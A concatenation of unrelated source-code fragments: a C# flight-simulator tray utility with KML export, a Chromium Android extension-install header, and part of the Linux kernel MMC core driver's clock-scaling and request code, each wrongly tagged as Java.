String szKMLFile = "";
if (CompileKMLStartUpFileDynamic(szTemp, ref szKMLFile))
{
safeShowMainDialog(0);
if (saveFileDialogKMLFile.ShowDialog() == DialogResult.OK)
{
try
{
File.WriteAllText(saveFileDialogKMLFile.FileName, szKMLFile);
}
catch
{
MessageBox.Show("Could not save KML file!", Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
safeHideMainDialog();
}
}
private void contextMenuStripNotifyIcon_Opening(object sender, CancelEventArgs e)
{
createGoogleEarthKMLFileToolStripMenuItem.DropDown.Items.Clear();
lock (lockIPAddressList)
{
bool bAddressFound = false;
if (ipalLocal1 != null)
{
foreach (IPAddress ipaTemp in ipalLocal1)
{
bAddressFound = true;
createGoogleEarthKMLFileToolStripMenuItem.DropDown.Items.Add("For IP " + ipaTemp.ToString(), null, createGoogleEarthKMLFileToolStripMenuItem_DropDownIPClick);
}
}
if (ipalLocal2 != null)
{
foreach (IPAddress ipaTemp in ipalLocal2)
{
bAddressFound = true;
createGoogleEarthKMLFileToolStripMenuItem.DropDown.Items.Add("For IP " + ipaTemp.ToString(), null, createGoogleEarthKMLFileToolStripMenuItem_DropDownIPClick);
}
}
if (!bAddressFound)
createGoogleEarthKMLFileToolStripMenuItem.Enabled = false;
else
createGoogleEarthKMLFileToolStripMenuItem.Enabled = true;
}
}
private void button3_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Are you sure you want to remove the selected items?", Text, MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
//foreach (ListViewItem lviTemp in listViewFlightPlans.SelectedItems)
//{
// listViewFlightPlans.Items.Remove(lviTemp);
//}
}
}
private void radioButton7_CheckedChanged(object sender, EventArgs e)
{
comboBox1.Enabled = textBox1.Enabled = textBox3.Enabled = !radioButton7.Checked;
bRestartRequired = true;
}
private void radioButton6_CheckedChanged(object sender, EventArgs e)
{
comboBox1.Enabled = textBox1.Enabled = textBox3.Enabled = radioButton6.Checked;
bRestartRequired = true;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void textBox3_TextChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void radioButton10_CheckedChanged(object sender, EventArgs e)
{
if (radioButton10.Checked)
radioButton8.Checked = radioButton9.Checked = checkBox1.Enabled = false;
}
private void radioButton9_CheckedChanged(object sender, EventArgs e)
{
checkBox1.Enabled = radioButton9.Checked;
}
private void radioButton8_CheckedChanged(object sender, EventArgs e)
{
if (radioButton10.Checked)
radioButton8.Checked = radioButton9.Checked = checkBox1.Enabled = false;
}
private void checkEnableOnStartup_CheckedChanged(object sender, EventArgs e)
{
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
gconffixCurrent.bExitOnFsxExit = checkBox1.Checked;
}
private void checkShowInfoBalloons_CheckedChanged(object sender, EventArgs e)
{
}
private void listBoxPathPrediction_SelectedIndexChanged(object sender, EventArgs e)
{
UpdateButtonStates();
}
private void button2_Click(object sender, EventArgs e)
{
if (listBoxPathPrediction.SelectedItems.Count == 1)
{
int iIndex = listBoxPathPrediction.SelectedIndex;
listBoxPathPrediction.Items.RemoveAt(iIndex);
if (listBoxPathPrediction.SelectedItems.Count == 0)
{
if (listBoxPathPrediction.Items.Count > iIndex)
listBoxPathPrediction.SelectedIndex = iIndex;
else if (listBoxPathPrediction.Items.Count > 0)
listBoxPathPrediction.SelectedIndex = listBoxPathPrediction.Items.Count - 1;
}
bRestartRequired = true;
}
}
private void button1_Click(object sender, EventArgs e)
{
int iSeconds;
if (frmAdd.ShowDialog(out iSeconds) == DialogResult.Cancel)
return;
ListBoxPredictionTimesItem lbptiTemp = new ListBoxPredictionTimesItem();
lbptiTemp.dTime = iSeconds;
bool bInserted = false;
for (int n = 0; n < listBoxPathPrediction.Items.Count; n++)
{
if (((ListBoxPredictionTimesItem)listBoxPathPrediction.Items[n]).dTime > lbptiTemp.dTime)
{
listBoxPathPrediction.Items.Insert(n, lbptiTemp);
bInserted = true;
break;
}
}
if (!bInserted)
listBoxPathPrediction.Items.Add(lbptiTemp);
bRestartRequired = true;
}
#endregion
}
}
| Java |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_UI_ANDROID_EXTENSIONS_EXTENSION_INSTALL_UI_ANDROID_H_
#define CHROME_BROWSER_UI_ANDROID_EXTENSIONS_EXTENSION_INSTALL_UI_ANDROID_H_
#include "base/basictypes.h"
#include "base/compiler_specific.h"
#include "chrome/browser/extensions/extension_install_ui.h"
class ExtensionInstallUIAndroid : public ExtensionInstallUI {
public:
ExtensionInstallUIAndroid();
virtual ~ExtensionInstallUIAndroid();
virtual void OnInstallSuccess(const extensions::Extension* extension,
SkBitmap* icon) OVERRIDE;
virtual void OnInstallFailure(
const extensions::CrxInstallerError& error) OVERRIDE;
private:
DISALLOW_COPY_AND_ASSIGN(ExtensionInstallUIAndroid);
};
#endif
| Java |
/*
* linux/drivers/mmc/core/core.c
*
* Copyright (C) 2003-2004 Russell King, All Rights Reserved.
* SD support Copyright (C) 2004 Ian Molton, All Rights Reserved.
* Copyright (C) 2005-2008 Pierre Ossman, All Rights Reserved.
* MMCv4 support Copyright (C) 2006 Philip Langdale, All Rights Reserved.
* Copyright (C) 2016 XiaoMi, Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/completion.h>
#include <linux/devfreq.h>
#include <linux/device.h>
#include <linux/delay.h>
#include <linux/pagemap.h>
#include <linux/err.h>
#include <linux/leds.h>
#include <linux/scatterlist.h>
#include <linux/log2.h>
#include <linux/regulator/consumer.h>
#include <linux/pm_runtime.h>
#include <linux/pm_wakeup.h>
#include <linux/suspend.h>
#include <linux/fault-inject.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/of.h>
#include <linux/pm.h>
#include <linux/jiffies.h>
#include <trace/events/mmc.h>
#include <linux/mmc/card.h>
#include <linux/mmc/host.h>
#include <linux/mmc/mmc.h>
#include <linux/mmc/sd.h>
#include <linux/mmc/slot-gpio.h>
#include "core.h"
#include "bus.h"
#include "host.h"
#include "sdio_bus.h"
#include "mmc_ops.h"
#include "sd_ops.h"
#include "sdio_ops.h"
/* If the device is not responding */
#define MMC_CORE_TIMEOUT_MS (10 * 60 * 1000) /* 10 minute timeout */
/*
* Background operations can take a long time, depending on the housekeeping
* operations the card has to perform.
*/
#define MMC_BKOPS_MAX_TIMEOUT (30 * 1000) /* max time to wait in ms */
static struct workqueue_struct *workqueue;
static const unsigned freqs[] = { 400000, 300000, 200000, 100000 };
/*
* Enabling software CRCs on the data blocks can be a significant (30%)
* performance cost, and for other reasons may not always be desired.
* So we allow it it to be disabled.
*/
bool use_spi_crc = 1;
module_param(use_spi_crc, bool, 0);
/*
* Internal function. Schedule delayed work in the MMC work queue.
*/
static int mmc_schedule_delayed_work(struct delayed_work *work,
unsigned long delay)
{
return queue_delayed_work(workqueue, work, delay);
}
/*
* Internal function. Flush all scheduled work from the MMC work queue.
*/
static void mmc_flush_scheduled_work(void)
{
flush_workqueue(workqueue);
}
#ifdef CONFIG_FAIL_MMC_REQUEST
/*
* Internal function. Inject random data errors.
* If mmc_data is NULL no errors are injected.
*/
static void mmc_should_fail_request(struct mmc_host *host,
struct mmc_request *mrq)
{
struct mmc_command *cmd = mrq->cmd;
struct mmc_data *data = mrq->data;
static const int data_errors[] = {
-ETIMEDOUT,
-EILSEQ,
-EIO,
};
if (!data)
return;
if (cmd->error || data->error ||
!should_fail(&host->fail_mmc_request, data->blksz * data->blocks))
return;
data->error = data_errors[prandom_u32() % ARRAY_SIZE(data_errors)];
data->bytes_xfered = (prandom_u32() % (data->bytes_xfered >> 9)) << 9;
data->fault_injected = true;
}
#else /* CONFIG_FAIL_MMC_REQUEST */
static inline void mmc_should_fail_request(struct mmc_host *host,
struct mmc_request *mrq)
{
}
#endif /* CONFIG_FAIL_MMC_REQUEST */
static bool mmc_is_data_request(struct mmc_request *mmc_request)
{
switch (mmc_request->cmd->opcode) {
case MMC_READ_SINGLE_BLOCK:
case MMC_READ_MULTIPLE_BLOCK:
case MMC_WRITE_BLOCK:
case MMC_WRITE_MULTIPLE_BLOCK:
return true;
default:
return false;
}
}
static void mmc_clk_scaling_start_busy(struct mmc_host *host, bool lock_needed)
{
struct mmc_devfeq_clk_scaling *clk_scaling = &host->clk_scaling;
if (!clk_scaling->enable)
return;
if (lock_needed)
spin_lock_bh(&clk_scaling->lock);
clk_scaling->start_busy = ktime_get();
clk_scaling->is_busy_started = true;
if (lock_needed)
spin_unlock_bh(&clk_scaling->lock);
}
static void mmc_clk_scaling_stop_busy(struct mmc_host *host, bool lock_needed)
{
struct mmc_devfeq_clk_scaling *clk_scaling = &host->clk_scaling;
if (!clk_scaling->enable)
return;
if (lock_needed)
spin_lock_bh(&clk_scaling->lock);
if (!clk_scaling->is_busy_started) {
WARN_ON(1);
goto out;
}
clk_scaling->total_busy_time_us +=
ktime_to_us(ktime_sub(ktime_get(),
clk_scaling->start_busy));
pr_debug("%s: accumulated busy time is %lu usec\n",
mmc_hostname(host), clk_scaling->total_busy_time_us);
clk_scaling->is_busy_started = false;
out:
if (lock_needed)
spin_unlock_bh(&clk_scaling->lock);
}
/**
* mmc_cmdq_clk_scaling_start_busy() - start busy timer for data requests
* @host: pointer to mmc host structure
* @lock_needed: flag indication if locking is needed
*
* This function starts the busy timer in case it was not already started.
*/
void mmc_cmdq_clk_scaling_start_busy(struct mmc_host *host,
bool lock_needed)
{
if (!host->clk_scaling.enable)
return;
if (lock_needed)
spin_lock_bh(&host->clk_scaling.lock);
if (!host->clk_scaling.is_busy_started &&
!test_bit(CMDQ_STATE_DCMD_ACTIVE,
&host->cmdq_ctx.curr_state)) {
host->clk_scaling.start_busy = ktime_get();
host->clk_scaling.is_busy_started = true;
}
if (lock_needed)
spin_unlock_bh(&host->clk_scaling.lock);
}
EXPORT_SYMBOL(mmc_cmdq_clk_scaling_start_busy);
/**
* mmc_cmdq_clk_scaling_stop_busy() - stop busy timer for last data requests
* @host: pointer to mmc host structure
* @lock_needed: flag indication if locking is needed
*
* This function stops the busy timer in case it is the last data request.
* In case the current request is not the last one, the busy time till
* now will be accumulated and the counter will be restarted.
*/
void mmc_cmdq_clk_scaling_stop_busy(struct mmc_host *host,
bool lock_needed, bool is_cmdq_dcmd)
{
if (!host->clk_scaling.enable)
return;
if (lock_needed)
spin_lock_bh(&host->clk_scaling.lock);
/*
* For CQ mode: In completion of DCMD request, start busy time in
* case of pending data requests
*/
if (is_cmdq_dcmd) {
if (host->cmdq_ctx.data_active_reqs) {
host->clk_scaling.is_busy_started = true;
host->clk_scaling.start_busy = ktime_get();
}
goto out;
}
host->clk_scaling.total_busy_time_us +=
ktime_to_us(ktime_sub(ktime_get(),
host->clk_scaling.start_busy));
if (host->cmdq_ctx.data_active_reqs) {
host->clk_scaling.is_busy_started = true;
host->clk_scaling.start_busy = ktime_get();
} else {
host->clk_scaling.is_busy_started = false;
}
out:
if (lock_needed)
spin_unlock_bh(&host->clk_scaling.lock);
}
EXPORT_SYMBOL(mmc_cmdq_clk_scaling_stop_busy);
/**
* mmc_can_scale_clk() - Check clock scaling capability
* @host: pointer to mmc host structure
*/
bool mmc_can_scale_clk(struct mmc_host *host)
{
if (!host) {
pr_err("bad host parameter\n");
WARN_ON(1);
return false;
}
return host->caps2 & MMC_CAP2_CLK_SCALE;
}
EXPORT_SYMBOL(mmc_can_scale_clk);
static int mmc_devfreq_get_dev_status(struct device *dev,
struct devfreq_dev_status *status)
{
struct mmc_host *host = container_of(dev, struct mmc_host, class_dev);
struct mmc_devfeq_clk_scaling *clk_scaling;
if (!host) {
pr_err("bad host parameter\n");
WARN_ON(1);
return -EINVAL;
}
clk_scaling = &host->clk_scaling;
if (!clk_scaling->enable)
return 0;
spin_lock_bh(&clk_scaling->lock);
/* accumulate the busy time of ongoing work */
memset(status, 0, sizeof(*status));
if (clk_scaling->is_busy_started) {
if (mmc_card_cmdq(host->card)) {
/* the "busy-timer" will be restarted in case there
* are pending data requests */
mmc_cmdq_clk_scaling_stop_busy(host, false, false);
} else {
mmc_clk_scaling_stop_busy(host, false);
mmc_clk_scaling_start_busy(host, false);
}
}
status->busy_time = clk_scaling->total_busy_time_us;
status->total_time = ktime_to_us(ktime_sub(ktime_get(),
clk_scaling->measure_interval_start));
clk_scaling->total_busy_time_us = 0;
status->current_frequency = clk_scaling->curr_freq;
clk_scaling->measure_interval_start = ktime_get();
pr_debug("%s: status: load = %lu%% - total_time=%lu busy_time = %lu, clk=%lu\n",
mmc_hostname(host),
(status->busy_time*100)/status->total_time,
status->total_time, status->busy_time,
status->current_frequency);
spin_unlock_bh(&clk_scaling->lock);
return 0;
}
static bool mmc_is_valid_state_for_clk_scaling(struct mmc_host *host)
{
struct mmc_card *card = host->card;
u32 status;
/*
* If the current partition type is RPMB, clock switching may not
* work properly as sending tuning command (CMD21) is illegal in
* this mode.
*/
if (!card || (mmc_card_mmc(card) &&
(card->part_curr == EXT_CSD_PART_CONFIG_ACC_RPMB ||
mmc_card_doing_bkops(card))))
return false;
if (mmc_send_status(card, &status)) {
pr_err("%s: Get card status fail\n", mmc_hostname(card->host));
return false;
}
return R1_CURRENT_STATE(status) == R1_STATE_TRAN;
}
int mmc_cmdq_halt_on_empty_queue(struct mmc_host *host)
{
int err = 0;
err = wait_event_interruptible(host->cmdq_ctx.queue_empty_wq,
(!host->cmdq_ctx.active_reqs));
if (host->cmdq_ctx.active_reqs) {
pr_err("%s: %s: unexpected active requests (%lu)\n",
mmc_hostname(host), __func__,
host->cmdq_ctx.active_reqs);
return -EPERM;
}
err = mmc_cmdq_halt(host, true);
if (err) {
pr_err("%s: %s: mmc_cmdq_halt failed (%d)\n",
mmc_hostname(host), __func__, err);
goto out;
}
out:
return err;
}
EXPORT_SYMBOL(mmc_cmdq_halt_on_empty_queue);
int mmc_clk_update_freq(struct mmc_host *host,
unsigned long freq, enum mmc_load state)
{
int err = 0;
bool cmdq_mode;
if (!host) {
pr_err("bad host parameter\n");
WARN_ON(1);
return -EINVAL;
}
mmc_host_clk_hold(host);
cmdq_mode = mmc_card_cmdq(host->card);
/* make sure the card supports the frequency we want */
if (unlikely(freq > host->card->clk_scaling_highest)) {
freq = host->card->clk_scaling_highest;
pr_warn("%s: %s: frequency was overridden to %lu\n",
mmc_hostname(host), __func__,
host->card->clk_scaling_highest);
}
if (unlikely(freq < host->card->clk_scaling_lowest)) {
freq = host->card->clk_scaling_lowest;
pr_warn("%s: %s: frequency was overridden to %lu\n",
mmc_hostname(host), __func__,
host->card->clk_scaling_lowest);
}
if (freq == host->clk_scaling.curr_freq)
goto out;
if (host->ops->notify_load) {
err = host->ops->notify_load(host, state);
if (err) {
pr_err("%s: %s: fail on notify_load\n",
mmc_hostname(host), __func__);
goto out;
}
}
if (cmdq_mode) {
err = mmc_cmdq_halt_on_empty_queue(host);
if (err) {
pr_err("%s: %s: failed halting queue (%d)\n",
mmc_hostname(host), __func__, err);
goto halt_failed;
}
}
if (!mmc_is_valid_state_for_clk_scaling(host)) {
pr_debug("%s: invalid state for clock scaling - skipping",
mmc_hostname(host));
goto invalid_state;
}
err = host->bus_ops->change_bus_speed(host, &freq);
if (!err)
host->clk_scaling.curr_freq = freq;
else
pr_err("%s: %s: failed (%d) at freq=%lu\n",
mmc_hostname(host), __func__, err, freq);
invalid_state:
if (cmdq_mode) {
if (mmc_cmdq_halt(host, false))
pr_err("%s: %s: cmdq unhalt failed\n",
mmc_hostname(host), __func__);
}
halt_failed:
if (err) {
/* restore previous state */
if (host->ops->notify_load)
if (host->ops->notify_load(host,
host->clk_scaling.state))
pr_err("%s: %s: fail on notify_load restore\n",
mmc_hostname(host), __func__);
}
out:
mmc_host_clk_release(host);
return err;
}
EXPORT_SYMBOL(mmc_clk_update_freq);
static int mmc_devfreq_set_target(struct device *dev,
unsigned long *freq, u32 devfreq_flags)
{
struct mmc_host *host = container_of(dev, struct mmc_host, class_dev);
struct mmc_devfeq_clk_scaling *clk_scaling;
int err = 0;
int abort;
if (!(host && freq)) {
pr_err("%s: unexpected host/freq parameter\n", __func__);
err = -EINVAL;
goto out;
}
clk_scaling = &host->clk_scaling;
if (!clk_scaling->enable)
goto out;
pr_debug("%s: target freq = %lu (%s)\n", mmc_hostname(host),
*freq, current->comm);
if ((clk_scaling->curr_freq == *freq) ||
clk_scaling->skip_clk_scale_freq_update)
goto out;
/* No need to scale the clocks if they are gated */
if (!host->ios.clock)
goto out;
spin_lock_bh(&clk_scaling->lock);
if (clk_scaling->clk_scaling_in_progress) {
pr_debug("%s: clocks scaling is already in-progress by mmc thread\n",
mmc_hostname(host));
spin_unlock_bh(&clk_scaling->lock);
goto out;
}
clk_scaling->need_freq_change = true;
clk_scaling->target_freq = *freq;
clk_scaling->state = *freq < clk_scaling->curr_freq ?
MMC_LOAD_LOW : MMC_LOAD_HIGH;
spin_unlock_bh(&clk_scaling->lock);
abort = __mmc_claim_host(host, &clk_scaling->devfreq_abort);
if (abort)
goto out;
/*
* In case we were able to claim host there is no need to
* defer the frequency change. It will be done now
*/
clk_scaling->need_freq_change = false;
mmc_host_clk_hold(host);
err = mmc_clk_update_freq(host, *freq, clk_scaling->state);
if (err && err != -EAGAIN)
pr_err("%s: clock scale to %lu failed with error %d\n",
mmc_hostname(host), *freq, err);
else
pr_debug("%s: clock change to %lu finished successfully (%s)\n",
mmc_hostname(host), *freq, current->comm);
mmc_host_clk_release(host);
mmc_release_host(host);
out:
return err;
}
/**
* mmc_deferred_scaling() - scale clocks from data path (mmc thread context)
* @host: pointer to mmc host structure
*
* This function does clock scaling in case "need_freq_change" flag was set
* by the clock scaling logic.
*/
void mmc_deferred_scaling(struct mmc_host *host)
{
unsigned long target_freq;
int err;
if (!host->clk_scaling.enable)
return;
spin_lock_bh(&host->clk_scaling.lock);
if (host->clk_scaling.clk_scaling_in_progress ||
!(host->clk_scaling.need_freq_change)) {
spin_unlock_bh(&host->clk_scaling.lock);
return;
}
atomic_inc(&host->clk_scaling.devfreq_abort);
target_freq = host->clk_scaling.target_freq;
host->clk_scaling.clk_scaling_in_progress = true;
host->clk_scaling.need_freq_change = false;
spin_unlock_bh(&host->clk_scaling.lock);
pr_debug("%s: doing deferred frequency change (%lu) (%s)\n",
mmc_hostname(host),
target_freq, current->comm);
err = mmc_clk_update_freq(host, target_freq,
host->clk_scaling.state);
if (err && err != -EAGAIN)
pr_err("%s: failed on deferred scale clocks (%d)\n",
mmc_hostname(host), err);
else
pr_debug("%s: clocks were successfully scaled to %lu (%s)\n",
mmc_hostname(host),
target_freq, current->comm);
host->clk_scaling.clk_scaling_in_progress = false;
atomic_dec(&host->clk_scaling.devfreq_abort);
}
EXPORT_SYMBOL(mmc_deferred_scaling);
static int mmc_devfreq_create_freq_table(struct mmc_host *host)
{
int i;
struct mmc_devfeq_clk_scaling *clk_scaling = &host->clk_scaling;
pr_debug("%s: supported: lowest=%lu, highest=%lu\n",
mmc_hostname(host),
host->card->clk_scaling_lowest,
host->card->clk_scaling_highest);
if (!clk_scaling->freq_table) {
pr_debug("%s: no frequency table defined - setting default\n",
mmc_hostname(host));
clk_scaling->freq_table = kzalloc(
2*sizeof(*(clk_scaling->freq_table)), GFP_KERNEL);
if (!clk_scaling->freq_table)
return -ENOMEM;
clk_scaling->freq_table[0] = host->card->clk_scaling_lowest;
clk_scaling->freq_table[1] = host->card->clk_scaling_highest;
clk_scaling->freq_table_sz = 2;
goto out;
}
if (host->card->clk_scaling_lowest >
clk_scaling->freq_table[0])
pr_debug("%s: frequency table undershot possible freq\n",
mmc_hostname(host));
if (strcmp(mmc_hostname(host), "mmc1") == 0) {
clk_scaling->freq_table[0] = host->card->clk_scaling_highest;
} else {
for (i = 0; i < clk_scaling->freq_table_sz; i++) {
if (clk_scaling->freq_table[i] < host->card->clk_scaling_highest) {
continue;
} else {
break;
}
}
clk_scaling->freq_table[i] = host->card->clk_scaling_highest;
clk_scaling->freq_table_sz = i + 1;
}
out:
clk_scaling->devfreq_profile.freq_table = clk_scaling->freq_table;
clk_scaling->devfreq_profile.max_state = clk_scaling->freq_table_sz;
for (i = 0; i < clk_scaling->freq_table_sz; i++)
pr_debug("%s: freq[%d] = %u\n",
mmc_hostname(host), i, clk_scaling->freq_table[i]);
return 0;
}
/**
* mmc_init_devfreq_clk_scaling() - Initialize clock scaling
* @host: pointer to mmc host structure
*
* Initialize clock scaling for supported hosts. It is assumed that the caller
* ensure clock is running at maximum possible frequency before calling this
* function. Shall use struct devfreq_simple_ondemand_data to configure
* governor.
*/
int mmc_init_clk_scaling(struct mmc_host *host)
{
int err;
if (!host || !host->card) {
pr_err("%s: unexpected host/card parameters\n",
__func__);
return -EINVAL;
}
if (!mmc_can_scale_clk(host) ||
!host->bus_ops->change_bus_speed) {
pr_debug("%s: clock scaling is not supported\n",
mmc_hostname(host));
return 0;
}
pr_debug("registering %s dev (%p) to devfreq",
mmc_hostname(host),
mmc_classdev(host));
if (host->clk_scaling.devfreq) {
pr_err("%s: dev is already registered for dev %p\n",
mmc_hostname(host),
mmc_dev(host));
return -EPERM;
}
spin_lock_init(&host->clk_scaling.lock);
atomic_set(&host->clk_scaling.devfreq_abort, 0);
host->clk_scaling.curr_freq = host->ios.clock;
host->clk_scaling.clk_scaling_in_progress = false;
host->clk_scaling.need_freq_change = false;
host->clk_scaling.is_busy_started = false;
host->clk_scaling.devfreq_profile.polling_ms =
host->clk_scaling.polling_delay_ms;
host->clk_scaling.devfreq_profile.get_dev_status =
mmc_devfreq_get_dev_status;
host->clk_scaling.devfreq_profile.target = mmc_devfreq_set_target;
host->clk_scaling.devfreq_profile.initial_freq = host->ios.clock;
host->clk_scaling.ondemand_gov_data.simple_scaling = true;
host->clk_scaling.ondemand_gov_data.upthreshold =
host->clk_scaling.upthreshold;
host->clk_scaling.ondemand_gov_data.downdifferential =
host->clk_scaling.upthreshold - host->clk_scaling.downthreshold;
err = mmc_devfreq_create_freq_table(host);
if (err) {
pr_err("%s: fail to create devfreq frequency table\n",
mmc_hostname(host));
return err;
}
pr_debug("%s: adding devfreq with: upthreshold=%u downthreshold=%u polling=%u\n",
mmc_hostname(host),
host->clk_scaling.ondemand_gov_data.upthreshold,
host->clk_scaling.ondemand_gov_data.downdifferential,
host->clk_scaling.devfreq_profile.polling_ms);
host->clk_scaling.devfreq = devfreq_add_device(
mmc_classdev(host),
&host->clk_scaling.devfreq_profile,
"simple_ondemand",
&host->clk_scaling.ondemand_gov_data);
if (!host->clk_scaling.devfreq) {
pr_err("%s: unable to register with devfreq\n",
mmc_hostname(host));
return -EPERM;
}
pr_debug("%s: clk scaling is enabled for device %s (%p) with devfreq %p (clock = %uHz)\n",
mmc_hostname(host),
dev_name(mmc_classdev(host)),
mmc_classdev(host),
host->clk_scaling.devfreq,
host->ios.clock);
host->clk_scaling.enable = true;
return err;
}
EXPORT_SYMBOL(mmc_init_clk_scaling);
/**
* mmc_suspend_clk_scaling() - suspend clock scaling
* @host: pointer to mmc host structure
*
* This API will suspend devfreq feature for the specific host.
* The statistics collected by mmc will be cleared.
* This function is intended to be called by the pm callbacks
* (e.g. runtime_suspend, suspend) of the mmc device
*/
int mmc_suspend_clk_scaling(struct mmc_host *host)
{
int err;
if (!host) {
WARN(1, "bad host parameter\n");
return -EINVAL;
}
if (!mmc_can_scale_clk(host) || !host->clk_scaling.enable)
return 0;
if (!host->clk_scaling.devfreq) {
pr_err("%s: %s: no devfreq is assosiated with this device\n",
mmc_hostname(host), __func__);
return -EPERM;
}
atomic_inc(&host->clk_scaling.devfreq_abort);
wake_up(&host->wq);
err = devfreq_suspend_device(host->clk_scaling.devfreq);
if (err) {
pr_err("%s: %s: failed to suspend devfreq\n",
mmc_hostname(host), __func__);
return err;
}
host->clk_scaling.enable = false;
host->clk_scaling.total_busy_time_us = 0;
pr_debug("%s: devfreq suspended\n", mmc_hostname(host));
return 0;
}
EXPORT_SYMBOL(mmc_suspend_clk_scaling);
/**
* mmc_resume_clk_scaling() - resume clock scaling
* @host: pointer to mmc host structure
*
* This API will resume devfreq feature for the specific host.
* This API is intended to be called by the pm callbacks
* (e.g. runtime_suspend, suspend) of the mmc device
*/
int mmc_resume_clk_scaling(struct mmc_host *host)
{
int err = 0;
u32 max_clk_idx = 0;
u32 devfreq_max_clk = 0;
u32 devfreq_min_clk = 0;
if (!host) {
WARN(1, "bad host parameter\n");
return -EINVAL;
}
if (!mmc_can_scale_clk(host))
return 0;
if (!host->clk_scaling.devfreq) {
pr_err("%s: %s: no devfreq is assosiated with this device\n",
mmc_hostname(host), __func__);
return -EPERM;
}
atomic_set(&host->clk_scaling.devfreq_abort, 0);
max_clk_idx = host->clk_scaling.freq_table_sz - 1;
devfreq_max_clk = host->clk_scaling.freq_table[max_clk_idx];
devfreq_min_clk = host->clk_scaling.freq_table[0];
host->clk_scaling.curr_freq = devfreq_max_clk;
if (host->ios.clock < host->card->clk_scaling_highest)
host->clk_scaling.curr_freq = devfreq_min_clk;
host->clk_scaling.clk_scaling_in_progress = false;
host->clk_scaling.need_freq_change = false;
err = devfreq_resume_device(host->clk_scaling.devfreq);
if (err) {
pr_err("%s: %s: failed to resume devfreq (%d)\n",
mmc_hostname(host), __func__, err);
} else {
host->clk_scaling.enable = true;
pr_debug("%s: devfreq resumed\n", mmc_hostname(host));
}
return err;
}
EXPORT_SYMBOL(mmc_resume_clk_scaling);
/**
* mmc_exit_devfreq_clk_scaling() - Disable clock scaling
* @host: pointer to mmc host structure
*
* Disable clock scaling permanently.
*/
int mmc_exit_clk_scaling(struct mmc_host *host)
{
int err;
if (!host) {
pr_err("%s: bad host parameter\n", __func__);
WARN_ON(1);
return -EINVAL;
}
if (!mmc_can_scale_clk(host))
return 0;
if (!host->clk_scaling.devfreq) {
pr_err("%s: %s: no devfreq is assosiated with this device\n",
mmc_hostname(host), __func__);
return -EPERM;
}
err = mmc_suspend_clk_scaling(host);
if (err) {
pr_err("%s: %s: fail to suspend clock scaling (%d)\n",
mmc_hostname(host), __func__, err);
return err;
}
err = devfreq_remove_device(host->clk_scaling.devfreq);
if (err) {
pr_err("%s: remove devfreq failed (%d)\n",
mmc_hostname(host), err);
return err;
}
host->clk_scaling.devfreq = NULL;
atomic_set(&host->clk_scaling.devfreq_abort, 1);
pr_debug("%s: devfreq was removed\n", mmc_hostname(host));
return 0;
}
EXPORT_SYMBOL(mmc_exit_clk_scaling);
/**
* mmc_request_done - finish processing an MMC request
* @host: MMC host which completed request
* @mrq: MMC request which request
*
* MMC drivers should call this function when they have completed
* their processing of a request.
*/
void mmc_request_done(struct mmc_host *host, struct mmc_request *mrq)
{
struct mmc_command *cmd = mrq->cmd;
int err = cmd->error;
#ifdef CONFIG_MMC_PERF_PROFILING
ktime_t diff;
#endif
if (host->clk_scaling.is_busy_started)
mmc_clk_scaling_stop_busy(host, true);
if (err && cmd->retries && mmc_host_is_spi(host)) {
if (cmd->resp[0] & R1_SPI_ILLEGAL_COMMAND)
cmd->retries = 0;
}
if (err && cmd->retries && !mmc_card_removed(host->card)) {
/*
* Request starter must handle retries - see
* mmc_wait_for_req_done().
*/
if (mrq->done)
mrq->done(mrq);
} else {
mmc_should_fail_request(host, mrq);
led_trigger_event(host->led, LED_OFF);
pr_debug("%s: req done (CMD%u): %d: %08x %08x %08x %08x\n",
mmc_hostname(host), cmd->opcode, err,
cmd->resp[0], cmd->resp[1],
cmd->resp[2], cmd->resp[3]);
if (mrq->data) {
#ifdef CONFIG_MMC_PERF_PROFILING
if (host->perf_enable) {
diff = ktime_sub(ktime_get(), host->perf.start);
if (mrq->data->flags == MMC_DATA_READ) {
host->perf.rbytes_drv +=
mrq->data->bytes_xfered;
host->perf.rtime_drv =
ktime_add(host->perf.rtime_drv,
diff);
} else {
host->perf.wbytes_drv +=
mrq->data->bytes_xfered;
host->perf.wtime_drv =
ktime_add(host->perf.wtime_drv,
diff);
}
}
#endif
pr_debug("%s: %d bytes transferred: %d\n",
mmc_hostname(host),
mrq->data->bytes_xfered, mrq->data->error);
trace_mmc_blk_rw_end(cmd->opcode, cmd->arg, mrq->data);
}
if (mrq->stop) {
pr_debug("%s: (CMD%u): %d: %08x %08x %08x %08x\n",
mmc_hostname(host), mrq->stop->opcode,
mrq->stop->error,
mrq->stop->resp[0], mrq->stop->resp[1],
mrq->stop->resp[2], mrq->stop->resp[3]);
}
if (mrq->done)
mrq->done(mrq);
mmc_host_clk_release(host);
}
}
EXPORT_SYMBOL(mmc_request_done);
static void
mmc_start_request(struct mmc_host *host, struct mmc_request *mrq)
{
#ifdef CONFIG_MMC_DEBUG
unsigned int i, sz;
struct scatterlist *sg;
#endif
if (mrq->sbc) {
pr_debug("<%s: starting CMD%u arg %08x flags %08x>\n",
mmc_hostname(host), mrq->sbc->opcode,
mrq->sbc->arg, mrq->sbc->flags);
}
pr_debug("%s: starting CMD%u arg %08x flags %08x\n",
mmc_hostname(host), mrq->cmd->opcode,
mrq->cmd->arg, mrq->cmd->flags);
if (mrq->data) {
pr_debug("%s: blksz %d blocks %d flags %08x "
"tsac %d ms nsac %d\n",
mmc_hostname(host), mrq->data->blksz,
mrq->data->blocks, mrq->data->flags,
mrq->data->timeout_ns / 1000000,
mrq->data->timeout_clks);
}
if (mrq->stop) {
pr_debug("%s: CMD%u arg %08x flags %08x\n",
mmc_hostname(host), mrq->stop->opcode,
mrq->stop->arg, mrq->stop->flags);
}
